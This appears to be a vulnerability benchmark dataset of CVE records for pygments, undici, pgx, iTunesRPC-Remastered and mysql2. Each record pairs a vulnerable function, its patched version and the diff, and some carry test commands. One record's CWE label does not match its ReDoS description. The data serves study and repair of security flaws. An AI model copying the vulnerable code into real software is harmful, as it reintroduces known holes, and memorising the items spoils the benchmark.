{"cve_id": "CVE-2022-40896", "cve_description": "A ReDoS issue was discovered in pygments/lexers/smithy.py in pygments through 2.15.0 via SmithyLexer.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/pygments/pygments", "patch_url": ["https://github.com/pygments/pygments/commit/97eb3d5ec7c1b3ea4fcf9dee30a2309cf92bd194", "https://github.com/pygments/pygments/commit/dd52102c38ebe78cd57748e09f38929fd283ad04", "https://github.com/pygments/pygments/commit/fdf182a7af85b1deeeb637ca970d31935e7c9d52"], "programing_language": "Python", "vul_func": [{"id": "vul_py_191_1", "commit": "5f8c541", "file_path": "pygments/lexers/templates.py", "start_line": 2285, "end_line": 2300, "snippet": "    def analyse_text(text):\n        rv = 0.0\n        # dbt's ref function\n        if re.search(r'\\{\\{\\s*ref\\(.*\\)\\s*\\}\\}', text):\n            rv += 0.4\n        # dbt's source function\n        if re.search(r'\\{\\{\\s*source\\(.*\\)\\s*\\}\\}', text):\n            rv += 0.25\n        # Jinja macro\n        if re.search(\n            r'\\{%-?\\s*macro \\w+\\(.*\\)\\s*-?%\\}\\s+.*\\s+\\{%-?\\s*endmacro\\s*-?%\\}',\n            text,\n            re.S,\n        ):\n            rv += 0.15\n        return rv"}], "fix_func": [{"id": "fix_py_191_1", "commit": "97eb3d5", "file_path": "pygments/lexers/templates.py", "start_line": 2285, "end_line": 2296, "snippet": "    def analyse_text(text):\n        rv = 0.0\n        # dbt's ref function\n        if re.search(r'\\{\\{\\s*ref\\(.*\\)\\s*\\}\\}', text):\n            rv += 0.4\n        # dbt's source function\n        if re.search(r'\\{\\{\\s*source\\(.*\\)\\s*\\}\\}', text):\n            rv += 0.25\n        # Jinja macro\n        if re.search(r'\\{%-?\\s*macro \\w+\\(.*\\)\\s*-?%\\}', text):\n            rv += 0.15\n        return rv"}], "vul_patch": "--- a/pygments/lexers/templates.py\n+++ b/pygments/lexers/templates.py\n@@ -7,10 +7,6 @@\n         if re.search(r'\\{\\{\\s*source\\(.*\\)\\s*\\}\\}', text):\n             rv += 0.25\n         # Jinja macro\n-        if re.search(\n-            r'\\{%-?\\s*macro \\w+\\(.*\\)\\s*-?%\\}\\s+.*\\s+\\{%-?\\s*endmacro\\s*-?%\\}',\n-            text,\n-            re.S,\n-        ):\n+        if re.search(r'\\{%-?\\s*macro \\w+\\(.*\\)\\s*-?%\\}', text):\n             rv += 0.15\n         return rv\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-23936", "cve_description": "Undici is an HTTP/1.1 client for Node.js. Starting with version 2.0.0 and prior to version 5.19.1, the undici library does not protect `host` HTTP header from CRLF injection vulnerabilities. This issue is patched in Undici v5.19.1. As a workaround, sanitize the `headers.host` string before passing to undici.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/nodejs/undici", "patch_url": ["https://github.com/nodejs/undici/commit/a2eff05401358f6595138df963837c24348f2034"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_135_1", "commit": "f5c89e5", "file_path": "lib/core/request.js", "start_line": 295, "end_line": 366, "snippet": "function processHeader (request, key, val) {\n  if (val && (typeof val === 'object' && !Array.isArray(val))) {\n    throw new InvalidArgumentError(`invalid ${key} header`)\n  } else if (val === undefined) {\n    return\n  }\n\n  if (\n    request.host === null &&\n    key.length === 4 &&\n    key.toLowerCase() === 'host'\n  ) {\n    // Consumed by Client\n    request.host = val\n  } else if (\n    request.contentLength === null &&\n    key.length === 14 &&\n    key.toLowerCase() === 'content-length'\n  ) {\n    request.contentLength = parseInt(val, 10)\n    if (!Number.isFinite(request.contentLength)) {\n      throw new InvalidArgumentError('invalid content-length header')\n    }\n  } else if (\n    request.contentType === null &&\n    key.length === 12 &&\n    key.toLowerCase() === 'content-type'\n  ) {\n    request.contentType = val\n    request.headers += processHeaderValue(key, val)\n  } else if (\n    key.length === 17 &&\n    key.toLowerCase() === 'transfer-encoding'\n  ) {\n    throw new InvalidArgumentError('invalid transfer-encoding header')\n  } else if (\n    key.length === 10 &&\n    key.toLowerCase() === 'connection'\n  ) {\n    const value = typeof val === 'string' ? val.toLowerCase() : null\n    if (value !== 'close' && value !== 'keep-alive') {\n      throw new InvalidArgumentError('invalid connection header')\n    } else if (value === 'close') {\n      request.reset = true\n    }\n  } else if (\n    key.length === 10 &&\n    key.toLowerCase() === 'keep-alive'\n  ) {\n    throw new InvalidArgumentError('invalid keep-alive header')\n  } else if (\n    key.length === 7 &&\n    key.toLowerCase() === 'upgrade'\n  ) {\n    throw new InvalidArgumentError('invalid upgrade header')\n  } else if (\n    key.length === 6 &&\n    key.toLowerCase() === 'expect'\n  ) {\n    throw new NotSupportedError('expect header not supported')\n  } else if (tokenRegExp.exec(key) === null) {\n    throw new InvalidArgumentError('invalid header key')\n  } else {\n    if (Array.isArray(val)) {\n      for (let i = 0; i < val.length; i++) {\n        request.headers += processHeaderValue(key, val[i])\n      }\n    } else {\n      request.headers += processHeaderValue(key, val)\n    }\n  }\n}"}], "fix_func": [{"id": "fix_js_135_1", "commit": "a2eff05", "file_path": "lib/core/request.js", "start_line": 295, "end_line": 369, "snippet": "function processHeader (request, key, val) {\n  if (val && (typeof val === 'object' && !Array.isArray(val))) {\n    throw new InvalidArgumentError(`invalid ${key} header`)\n  } else if (val === undefined) {\n    return\n  }\n\n  if (\n    request.host === null &&\n    key.length === 4 &&\n    key.toLowerCase() === 'host'\n  ) {\n    if (headerCharRegex.exec(val) !== null) {\n      throw new InvalidArgumentError(`invalid ${key} header`)\n    }\n    // Consumed by Client\n    request.host = val\n  } else if (\n    request.contentLength === null &&\n    key.length === 14 &&\n    key.toLowerCase() === 'content-length'\n  ) {\n    request.contentLength = parseInt(val, 10)\n    if (!Number.isFinite(request.contentLength)) {\n      throw new InvalidArgumentError('invalid content-length header')\n    }\n  } else if (\n    request.contentType === null &&\n    key.length === 12 &&\n    key.toLowerCase() === 'content-type'\n  ) {\n    request.contentType = val\n    request.headers += processHeaderValue(key, val)\n  } else if (\n    key.length === 17 &&\n    key.toLowerCase() === 'transfer-encoding'\n  ) {\n    throw new InvalidArgumentError('invalid transfer-encoding header')\n  } else if (\n    key.length === 10 &&\n    key.toLowerCase() === 'connection'\n  ) {\n    const value = typeof val === 'string' ? val.toLowerCase() : null\n    if (value !== 'close' && value !== 'keep-alive') {\n      throw new InvalidArgumentError('invalid connection header')\n    } else if (value === 'close') {\n      request.reset = true\n    }\n  } else if (\n    key.length === 10 &&\n    key.toLowerCase() === 'keep-alive'\n  ) {\n    throw new InvalidArgumentError('invalid keep-alive header')\n  } else if (\n    key.length === 7 &&\n    key.toLowerCase() === 'upgrade'\n  ) {\n    throw new InvalidArgumentError('invalid upgrade header')\n  } else if (\n    key.length === 6 &&\n    key.toLowerCase() === 'expect'\n  ) {\n    throw new NotSupportedError('expect header not supported')\n  } else if (tokenRegExp.exec(key) === null) {\n    throw new InvalidArgumentError('invalid header key')\n  } else {\n    if (Array.isArray(val)) {\n      for (let i = 0; i < val.length; i++) {\n        request.headers += processHeaderValue(key, val[i])\n      }\n    } else {\n      request.headers += processHeaderValue(key, val)\n    }\n  }\n}"}], "vul_patch": "--- a/lib/core/request.js\n+++ b/lib/core/request.js\n@@ -10,6 +10,9 @@\n     key.length === 4 &&\n     key.toLowerCase() === 'host'\n   ) {\n+    if (headerCharRegex.exec(val) !== null) {\n+      throw new InvalidArgumentError(`invalid ${key} header`)\n+    }\n     // Consumed by Client\n     request.host = val\n   } else if (\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-27289", "cve_description": "pgx is a PostgreSQL driver and toolkit for Go. Prior to version 4.18.2, SQL injection can occur when all of the following conditions are met: the non-default simple protocol is used; a placeholder for a numeric value must be immediately preceded by a minus; there must be a second placeholder for a string value after the first placeholder; both must be on the same line; and both parameter values must be user-controlled. The problem is resolved in v4.18.2. As a workaround, do not use the simple protocol or do not place a minus directly before a placeholder.\n", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/jackc/pgx", "patch_url": ["https://github.com/jackc/pgx/commit/f94eb0e2f96782042c96801b5ac448f44f0a81df"], "programing_language": "Go", "vul_func": [{"id": "vul_go_27_1", "commit": "826a892", "file_path": "internal/sanitize/sanitize.go", "start_line": 27, "end_line": 83, "snippet": "func (q *Query) Sanitize(args ...interface{}) (string, error) {\n\targUse := make([]bool, len(args))\n\tbuf := &bytes.Buffer{}\n\n\tfor _, part := range q.Parts {\n\t\tvar str string\n\t\tswitch part := part.(type) {\n\t\tcase string:\n\t\t\tstr = part\n\t\tcase int:\n\t\t\targIdx := part - 1\n\t\t\tif argIdx >= len(args) {\n\t\t\t\treturn \"\", fmt.Errorf(\"insufficient arguments\")\n\t\t\t}\n\t\t\targ := args[argIdx]\n\t\t\tswitch arg := arg.(type) {\n\t\t\tcase nil:\n\t\t\t\tstr = \"null\"\n\t\t\tcase int64:\n\t\t\t\tstr = strconv.FormatInt(arg, 10)\n\t\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\t\tif arg < 0 {\n\t\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t\t}\n\t\t\tcase float64:\n\t\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\t\tstr = strconv.FormatFloat(arg, 'f', -1, 64)\n\t\t\t\tif arg < 0 {\n\t\t\t\t\tstr = \"(\" + str + \")\"\n\t\t\t\t}\n\t\t\tcase bool:\n\t\t\t\tstr = strconv.FormatBool(arg)\n\t\t\tcase []byte:\n\t\t\t\tstr = QuoteBytes(arg)\n\t\t\tcase string:\n\t\t\t\tstr = QuoteString(arg)\n\t\t\tcase time.Time:\n\t\t\t\tstr = arg.Truncate(time.Microsecond).Format(\"'2006-01-02 15:04:05.999999999Z07:00:00'\")\n\t\t\tdefault:\n\t\t\t\treturn \"\", fmt.Errorf(\"invalid arg type: %T\", arg)\n\t\t\t}\n\t\t\targUse[argIdx] = true\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"invalid Part type: %T\", part)\n\t\t}\n\t\tbuf.WriteString(str)\n\t}\n\n\tfor i, used := range argUse {\n\t\tif !used {\n\t\t\treturn \"\", fmt.Errorf(\"unused argument: %d\", i)\n\t\t}\n\t}\n\treturn buf.String(), nil\n}"}], "fix_func": [{"id": "fix_go_27_1", "commit": "f94eb0e", "file_path": "internal/sanitize/sanitize.go", "start_line": 27, "end_line": 77, "snippet": "func (q *Query) Sanitize(args ...interface{}) (string, error) {\n\targUse := make([]bool, len(args))\n\tbuf := &bytes.Buffer{}\n\n\tfor _, part := range q.Parts {\n\t\tvar str string\n\t\tswitch part := part.(type) {\n\t\tcase string:\n\t\t\tstr = part\n\t\tcase int:\n\t\t\targIdx := part - 1\n\t\t\tif argIdx >= len(args) {\n\t\t\t\treturn \"\", fmt.Errorf(\"insufficient arguments\")\n\t\t\t}\n\t\t\targ := args[argIdx]\n\t\t\tswitch arg := arg.(type) {\n\t\t\tcase nil:\n\t\t\t\tstr = \"null\"\n\t\t\tcase int64:\n\t\t\t\tstr = strconv.FormatInt(arg, 10)\n\t\t\tcase float64:\n\t\t\t\tstr = strconv.FormatFloat(arg, 'f', -1, 64)\n\t\t\tcase bool:\n\t\t\t\tstr = strconv.FormatBool(arg)\n\t\t\tcase []byte:\n\t\t\t\tstr = QuoteBytes(arg)\n\t\t\tcase string:\n\t\t\t\tstr = QuoteString(arg)\n\t\t\tcase time.Time:\n\t\t\t\tstr = arg.Truncate(time.Microsecond).Format(\"'2006-01-02 15:04:05.999999999Z07:00:00'\")\n\t\t\tdefault:\n\t\t\t\treturn \"\", fmt.Errorf(\"invalid arg type: %T\", arg)\n\t\t\t}\n\t\t\targUse[argIdx] = true\n\n\t\t\t// Prevent SQL injection via Line Comment Creation\n\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n\t\t\tstr = \"(\" + str + \")\"\n\t\tdefault:\n\t\t\treturn \"\", fmt.Errorf(\"invalid Part type: %T\", part)\n\t\t}\n\t\tbuf.WriteString(str)\n\t}\n\n\tfor i, used := range argUse {\n\t\tif !used {\n\t\t\treturn \"\", fmt.Errorf(\"unused argument: %d\", i)\n\t\t}\n\t}\n\treturn buf.String(), nil\n}"}], "vul_patch": "--- a/internal/sanitize/sanitize.go\n+++ b/internal/sanitize/sanitize.go\n@@ -18,18 +18,8 @@\n \t\t\t\tstr = \"null\"\n \t\t\tcase int64:\n \t\t\t\tstr = strconv.FormatInt(arg, 10)\n-\t\t\t\t// Prevent SQL injection via Line Comment Creation\n-\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n-\t\t\t\tif arg < 0 {\n-\t\t\t\t\tstr = \"(\" + str + \")\"\n-\t\t\t\t}\n \t\t\tcase float64:\n-\t\t\t\t// Prevent SQL injection via Line Comment Creation\n-\t\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n \t\t\t\tstr = strconv.FormatFloat(arg, 'f', -1, 64)\n-\t\t\t\tif arg < 0 {\n-\t\t\t\t\tstr = \"(\" + str + \")\"\n-\t\t\t\t}\n \t\t\tcase bool:\n \t\t\t\tstr = strconv.FormatBool(arg)\n \t\t\tcase []byte:\n@@ -42,6 +32,10 @@\n \t\t\t\treturn \"\", fmt.Errorf(\"invalid arg type: %T\", arg)\n \t\t\t}\n \t\t\targUse[argIdx] = true\n+\n+\t\t\t// Prevent SQL injection via Line Comment Creation\n+\t\t\t// https://github.com/jackc/pgx/security/advisories/GHSA-m7wr-2xf7-cm9p\n+\t\t\tstr = \"(\" + str + \")\"\n \t\tdefault:\n \t\t\treturn \"\", fmt.Errorf(\"invalid Part type: %T\", part)\n \t\t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-27289:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pgx\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestQuerySanitize$ github.com/jackc/pgx/v4/internal/sanitize\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-27289:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/pgx\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run ^TestNewQuery$ github.com/jackc/pgx/v4/internal/sanitize"}
{"cve_id": "CVE-2022-23609", "cve_description": "iTunesRPC-Remastered is a Discord Rich Presence for iTunes on Windows utility. In affected versions iTunesRPC-Remastered did not properly sanitize user input used to remove files leading to file deletion only limited by the process permissions. Users are advised to upgrade as soon as possible.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/bildsben/iTunesRPC-Remastered", "patch_url": ["https://github.com/bildsben/iTunesRPC-Remastered/commit/1eb1e5428f0926b2829a0bbbb65b0d946e608593"], "programing_language": "Python", "vul_func": [{"id": "vul_py_258_1", "commit": "1bda8d1", "file_path": "upload/server.py", "start_line": 108, "end_line": 206, "snippet": "def uploadimage():\n    # print(request.json)\n    if not request.json or \"image\" not in request.json:\n        print(\"No data sent or no image provided. Aborting with 400.\")\n        abort(400)\n\n    im_b64 = request.json[\"image\"]\n    img_bytes = base64.b64decode(im_b64.encode(\"utf-8\"))\n    img_bytes, valid = allowed_file(img_bytes)\n    if not valid:\n        return escape({\"entry\": \"False\"})\n    img = Image.open(io.BytesIO(img_bytes))\n\n    file_ending = img.format\n    print(f\"File has filetype {file_ending}.\")\n\n    if file_ending == \"JPEG\":\n        file_ending = \".jpg\"\n    else:\n        file_ending = \".png\"\n\n    one_hundred_million = 100000000\n    lots_of_nine = 999999999\n\n    file_name = None\n\n    f = open(\"all_files\", \"r\")\n    all_files = ast.literal_eval(f.read())\n    f.close()\n\n    attempt = 0\n\n    while file_name is None or file_name in all_files:\n        if attempt <= 1000:\n            file_name = random.randint(one_hundred_million, lots_of_nine)\n\n            file_name = base64.b64encode(str(file_name).encode(\"utf-8\")).decode(\"utf-8\")\n\n            print(f\"Trying new file name: {file_name}\")\n        else:\n            attempt = 0\n            one_hundred_million += 100000\n            lots_of_nine += 1000000\n\n            while one_hundred_million >= lots_of_nine:\n                one_hundred_million -= 10000\n\n            one_hundred_million -= 10000\n\n    print(f\"Successful file name: {file_name}\")\n\n    title = request.json[\"title\"]\n    if title[:9] == \"[PAUSED] \":\n        title = title[9::]\n\n    singer = request.json[\"singer\"]\n    album = request.json[\"album\"]\n\n    file_db_entry = [\n        {\"title\": title, \"singer\": singer, \"album\": album},\n        file_name,\n        file_ending,\n    ]\n    print(f\"New db entry: {file_db_entry}\")\n\n    all_files.append(file_db_entry)\n\n    # caching\n    # we want a limit of X amount of files as defined by the config\n\n    # 1. see how long the list is\n    # 2. if it is over get_config()'s cache limit, delete value [0]\n    # 3. delete it on disk.\n\n    cache, x, y = get_config()\n    del x\n    del y\n\n    length = len(all_files)\n    while (\n        length > cache\n    ):  # if it is not over the limit, it will skip. if it is, it does this.\n        # if we have gone over our cache limit, let's delete the first entry.\n        filename = all_files[0][1] + all_files[0][2]\n        remove(filename)\n        del all_files[0]\n        length = len(all_files)\n\n    f = open(\"all_files\", \"w\")\n    f.write(str(all_files))\n    f.close()\n\n    file_name = file_name + file_ending\n\n    img.save(file_name)\n\n    print(f\"Saved {file_name} from {file_db_entry}.\")\n    print(f\"Returning {file_db_entry}.\")\n    return escape(str({\"entry\": file_db_entry}))"}], "fix_func": [{"id": "fix_py_258_1", "commit": "1eb1e54", "file_path": "upload/server.py", "start_line": 108, "end_line": 206, "snippet": "def uploadimage():\n    # print(request.json)\n    if not request.json or \"image\" not in request.json:\n        print(\"No data sent or no image provided. Aborting with 400.\")\n        abort(400)\n\n    im_b64 = request.json[\"image\"]\n    img_bytes = base64.b64decode(im_b64.encode(\"utf-8\"))\n    img_bytes, valid = allowed_file(img_bytes)\n    if not valid:\n        return escape({\"entry\": \"False\"})\n    img = Image.open(io.BytesIO(img_bytes))\n\n    file_ending = img.format\n    print(f\"File has filetype {file_ending}.\")\n\n    if file_ending == \"JPEG\":\n        file_ending = \".jpg\"\n    else:\n        file_ending = \".png\"\n\n    one_hundred_million = 100000000\n    lots_of_nine = 999999999\n\n    file_name = None\n\n    f = open(\"all_files\", \"r\")\n    all_files = ast.literal_eval(f.read())\n    f.close()\n\n    attempt = 0\n\n    while file_name is None or file_name in all_files:\n        if attempt <= 1000:\n            file_name = random.randint(one_hundred_million, lots_of_nine)\n\n            file_name = base64.b64encode(str(file_name).encode(\"utf-8\")).decode(\"utf-8\")\n\n            print(f\"Trying new file name: {file_name}\")\n        else:\n            attempt = 0\n            one_hundred_million += 100000\n            lots_of_nine += 1000000\n\n            while one_hundred_million >= lots_of_nine:\n                one_hundred_million -= 10000\n\n            one_hundred_million -= 10000\n\n    print(f\"Successful file name: {file_name}\")\n\n    title = request.json[\"title\"]\n    if title[:9] == \"[PAUSED] \":\n        title = title[9::]\n\n    singer = request.json[\"singer\"]\n    album = request.json[\"album\"]\n\n    file_db_entry = [\n        {\"title\": title, \"singer\": singer, \"album\": album},\n        file_name,\n        file_ending,\n    ]\n    print(f\"New db entry: {file_db_entry}\")\n\n    all_files.append(file_db_entry)\n\n    # caching\n    # we want a limit of X amount of files as defined by the config\n\n    # 1. see how long the list is\n    # 2. if it is over get_config()'s cache limit, delete value [0]\n    # 3. delete it on disk.\n\n    cache, x, y = get_config()\n    del x\n    del y\n\n    length = len(all_files)\n    while (\n        length > cache\n    ):  # if it is not over the limit, it will skip. if it is, it does this.\n        # if we have gone over our cache limit, let's delete the first entry.\n        filename = all_files[0][1] + all_files[0][2]\n        remove(werkzeug.utils.secure_filename(filename))\n        del all_files[0]\n        length = len(all_files)\n\n    f = open(\"all_files\", \"w\")\n    f.write(str(all_files))\n    f.close()\n\n    file_name = file_name + file_ending\n\n    img.save(file_name)\n\n    print(f\"Saved {file_name} from {file_db_entry}.\")\n    print(f\"Returning {file_db_entry}.\")\n    return escape(str({\"entry\": file_db_entry}))"}], "vul_patch": "--- a/upload/server.py\n+++ b/upload/server.py\n@@ -82,7 +82,7 @@\n     ):  # if it is not over the limit, it will skip. if it is, it does this.\n         # if we have gone over our cache limit, let's delete the first entry.\n         filename = all_files[0][1] + all_files[0][2]\n-        remove(filename)\n+        remove(werkzeug.utils.secure_filename(filename))\n         del all_files[0]\n         length = len(all_files)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21511", "cve_description": "Versions of the package mysql2 before 3.9.7 are vulnerable to Arbitrary Code Injection due to improper sanitization of the timezone parameter in the readCodeFor function by calling a native MySQL Server date/time function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sidorares/node-mysql2", "patch_url": ["https://github.com/sidorares/node-mysql2/commit/7d4b098c7e29d5a6cb9eac2633bfcc2f0f1db713"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_129_1", "commit": "2efd6ab", "file_path": "lib/parsers/binary_parser.js", "start_line": 14, "end_line": 82, "snippet": "function readCodeFor(field, config, options, fieldNum) {\n  const supportBigNumbers = Boolean(\n    options.supportBigNumbers || config.supportBigNumbers,\n  );\n  const bigNumberStrings = Boolean(\n    options.bigNumberStrings || config.bigNumberStrings,\n  );\n  const timezone = options.timezone || config.timezone;\n  const dateStrings = options.dateStrings || config.dateStrings;\n  const unsigned = field.flags & FieldFlags.UNSIGNED;\n  switch (field.columnType) {\n    case Types.TINY:\n      return unsigned ? 'packet.readInt8();' : 'packet.readSInt8();';\n    case Types.SHORT:\n      return unsigned ? 'packet.readInt16();' : 'packet.readSInt16();';\n    case Types.LONG:\n    case Types.INT24: // in binary protocol int24 is encoded in 4 bytes int32\n      return unsigned ? 'packet.readInt32();' : 'packet.readSInt32();';\n    case Types.YEAR:\n      return 'packet.readInt16()';\n    case Types.FLOAT:\n      return 'packet.readFloat();';\n    case Types.DOUBLE:\n      return 'packet.readDouble();';\n    case Types.NULL:\n      return 'null;';\n    case Types.DATE:\n    case Types.DATETIME:\n    case Types.TIMESTAMP:\n    case Types.NEWDATE:\n      if (helpers.typeMatch(field.columnType, dateStrings, Types)) {\n        return `packet.readDateTimeString(${field.decimals});`;\n      }\n      return `packet.readDateTime('${timezone}');`;\n    case Types.TIME:\n      return 'packet.readTimeString()';\n    case Types.DECIMAL:\n    case Types.NEWDECIMAL:\n      if (config.decimalNumbers) {\n        return 'packet.parseLengthCodedFloat();';\n      }\n      return 'packet.readLengthCodedString(\"ascii\");';\n    case Types.GEOMETRY:\n      return 'packet.parseGeometryValue();';\n    case Types.JSON:\n      // Since for JSON columns mysql always returns charset 63 (BINARY),\n      // we have to handle it according to JSON specs and use \"utf8\",\n      // see https://github.com/sidorares/node-mysql2/issues/409\n      return 'JSON.parse(packet.readLengthCodedString(\"utf8\"));';\n    case Types.LONGLONG:\n      if (!supportBigNumbers) {\n        return unsigned\n          ? 'packet.readInt64JSNumber();'\n          : 'packet.readSInt64JSNumber();';\n      }\n      if (bigNumberStrings) {\n        return unsigned\n          ? 'packet.readInt64String();'\n          : 'packet.readSInt64String();';\n      }\n      return unsigned ? 'packet.readInt64();' : 'packet.readSInt64();';\n\n    default:\n      if (field.characterSet === Charsets.BINARY) {\n        return 'packet.readLengthCodedBuffer();';\n      }\n      return `packet.readLengthCodedString(fields[${fieldNum}].encoding)`;\n  }\n}"}, {"id": "vul_js_129_2", "commit": "2efd6ab", "file_path": "lib/parsers/text_parser.js", "start_line": 14, "end_line": 73, "snippet": "function readCodeFor(type, charset, encodingExpr, config, options) {\n  const supportBigNumbers = Boolean(\n    options.supportBigNumbers || config.supportBigNumbers,\n  );\n  const bigNumberStrings = Boolean(\n    options.bigNumberStrings || config.bigNumberStrings,\n  );\n  const timezone = options.timezone || config.timezone;\n  const dateStrings = options.dateStrings || config.dateStrings;\n\n  switch (type) {\n    case Types.TINY:\n    case Types.SHORT:\n    case Types.LONG:\n    case Types.INT24:\n    case Types.YEAR:\n      return 'packet.parseLengthCodedIntNoBigCheck()';\n    case Types.LONGLONG:\n      if (supportBigNumbers && bigNumberStrings) {\n        return 'packet.parseLengthCodedIntString()';\n      }\n      return `packet.parseLengthCodedInt(${supportBigNumbers})`;\n    case Types.FLOAT:\n    case Types.DOUBLE:\n      return 'packet.parseLengthCodedFloat()';\n    case Types.NULL:\n      return 'packet.readLengthCodedNumber()';\n    case Types.DECIMAL:\n    case Types.NEWDECIMAL:\n      if (config.decimalNumbers) {\n        return 'packet.parseLengthCodedFloat()';\n      }\n      return 'packet.readLengthCodedString(\"ascii\")';\n    case Types.DATE:\n      if (helpers.typeMatch(type, dateStrings, Types)) {\n        return 'packet.readLengthCodedString(\"ascii\")';\n      }\n      return `packet.parseDate('${timezone}')`;\n    case Types.DATETIME:\n    case Types.TIMESTAMP:\n      if (helpers.typeMatch(type, dateStrings, Types)) {\n        return 'packet.readLengthCodedString(\"ascii\")';\n      }\n      return `packet.parseDateTime('${timezone}')`;\n    case Types.TIME:\n      return 'packet.readLengthCodedString(\"ascii\")';\n    case Types.GEOMETRY:\n      return 'packet.parseGeometryValue()';\n    case Types.JSON:\n      // Since for JSON columns mysql always returns charset 63 (BINARY),\n      // we have to handle it according to JSON specs and use \"utf8\",\n      // see https://github.com/sidorares/node-mysql2/issues/409\n      return 'JSON.parse(packet.readLengthCodedString(\"utf8\"))';\n    default:\n      if (charset === Charsets.BINARY) {\n        return 'packet.readLengthCodedBuffer()';\n      }\n      return `packet.readLengthCodedString(${encodingExpr})`;\n  }\n}"}], "fix_func": [{"id": "fix_js_129_1", "commit": "7d4b098", "file_path": "lib/parsers/binary_parser.js", "start_line": 14, "end_line": 82, "snippet": "function readCodeFor(field, config, options, fieldNum) {\n  const supportBigNumbers = Boolean(\n    options.supportBigNumbers || config.supportBigNumbers,\n  );\n  const bigNumberStrings = Boolean(\n    options.bigNumberStrings || config.bigNumberStrings,\n  );\n  const timezone = options.timezone || config.timezone;\n  const dateStrings = options.dateStrings || config.dateStrings;\n  const unsigned = field.flags & FieldFlags.UNSIGNED;\n  switch (field.columnType) {\n    case Types.TINY:\n      return unsigned ? 'packet.readInt8();' : 'packet.readSInt8();';\n    case Types.SHORT:\n      return unsigned ? 'packet.readInt16();' : 'packet.readSInt16();';\n    case Types.LONG:\n    case Types.INT24: // in binary protocol int24 is encoded in 4 bytes int32\n      return unsigned ? 'packet.readInt32();' : 'packet.readSInt32();';\n    case Types.YEAR:\n      return 'packet.readInt16()';\n    case Types.FLOAT:\n      return 'packet.readFloat();';\n    case Types.DOUBLE:\n      return 'packet.readDouble();';\n    case Types.NULL:\n      return 'null;';\n    case Types.DATE:\n    case Types.DATETIME:\n    case Types.TIMESTAMP:\n    case Types.NEWDATE:\n      if (helpers.typeMatch(field.columnType, dateStrings, Types)) {\n        return `packet.readDateTimeString(${parseInt(field.decimals, 10)});`;\n      }\n      return `packet.readDateTime(${helpers.srcEscape(timezone)});`;\n    case Types.TIME:\n      return 'packet.readTimeString()';\n    case Types.DECIMAL:\n    case Types.NEWDECIMAL:\n      if (config.decimalNumbers) {\n        return 'packet.parseLengthCodedFloat();';\n      }\n      return 'packet.readLengthCodedString(\"ascii\");';\n    case Types.GEOMETRY:\n      return 'packet.parseGeometryValue();';\n    case Types.JSON:\n      // Since for JSON columns mysql always returns charset 63 (BINARY),\n      // we have to handle it according to JSON specs and use \"utf8\",\n      // see https://github.com/sidorares/node-mysql2/issues/409\n      return 'JSON.parse(packet.readLengthCodedString(\"utf8\"));';\n    case Types.LONGLONG:\n      if (!supportBigNumbers) {\n        return unsigned\n          ? 'packet.readInt64JSNumber();'\n          : 'packet.readSInt64JSNumber();';\n      }\n      if (bigNumberStrings) {\n        return unsigned\n          ? 'packet.readInt64String();'\n          : 'packet.readSInt64String();';\n      }\n      return unsigned ? 'packet.readInt64();' : 'packet.readSInt64();';\n\n    default:\n      if (field.characterSet === Charsets.BINARY) {\n        return 